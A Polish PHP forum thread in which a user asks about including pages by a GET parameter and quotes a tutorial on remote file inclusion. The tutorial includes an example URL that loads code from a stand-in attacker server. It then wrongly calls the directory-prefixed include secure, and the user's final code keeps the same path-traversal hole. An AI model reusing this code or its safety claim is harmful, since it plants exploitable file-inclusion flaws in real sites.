[php] includowanie linków Opcje

[predator]

Mam taki kod:

Kod

<?php
  $plik1 = "katalog/$_GET[lol]".".php";
  include($plik1);
  ?>

i link:

Kod

<a href="katalog/index.php?lol=plik1" onfocus=blur()>link1</a>

Jak przekształcic ten pierwszy kod bym mógł includowac wiecej linków?

Wczesniej to robiłem w taki sposób:

Kod

<?
  switch ($_GET['lol'])
  {
  case 1:
  include ("katalog/plik1.php");
  break;
  
  case 2:
  include ("katalog/plik2.php");
  break;
  
  }
  ?>

ale był to niebezpieczny sposób

Ten post edytował predator 23.02.2008, 17:13:03

[predator]

juz sobie poradziłem

Kod

<?php
    $plik1 = "katalog/$_GET[lol1]".".php";
    include($plik1);
    ?>
  
  <?php
    $plik2 = "katalog/$_GET[lol]".".php";
    include($plik2);
    ?>

zmieniłem w kazdym includowaniu "lol" i przy kazdym linku bede musial dodawac inny numerek :/ nie wygodne to

przedtem takim sposobem ale gdy tu i tam było to samo słowo "lol" to mi includowalo 2 pliki na raz gdy kliknąłem w jeden link


podaje cytat tego tutka:

Kod

<?php
include($_GET['adres']);
?>

Powoduje to oczywiście dołączenie pliku podanego w zmiennej, ale jest to bardzo NIEBEZPIECZNE, ponieważ każdy może do tej zmiennej wpisać co mu się żywnie podoba, np.

Kod

naszastrona.pl?adres=http://serwerhackera.pl/niszcz.php

Pierwszym co należy robić to nie podawać rozszerzenia w adresie strony, czyli adres wygląda tak

Kod

naszastrona.pl/index.php?adres=plik

a w kodzie będziemy mieli

Kod

<?php
$plik = "$_GET[adres]".".php";
include($plik);
?>

Jest to już jakaś forma zabezpieczenia, ale wystarczy, że hacker zgadnie to rozszerzenie które dodajemy, i dalej może wczytać swój plik

Kod

naszastrona.pl?adres=http://serwerhackera.pl/niszcz

Aby skrypt stał się bezpieczny musimy wymusić katalog z którego będziemy ładowali pliki...
adres ciągle taki:

Kod

naszastrona.pl/index.php?adres=plik

ale w kodzie zaszły zmiany

Kod

<?php
$plik = "katalog/$_GET[adres]".".php";
include($plik);
?>

Ostatnia wersja naszego skryptu jest już bezpieczna, ponieważ wczytuje ze zgóry narzuconego katalogu "katalog"...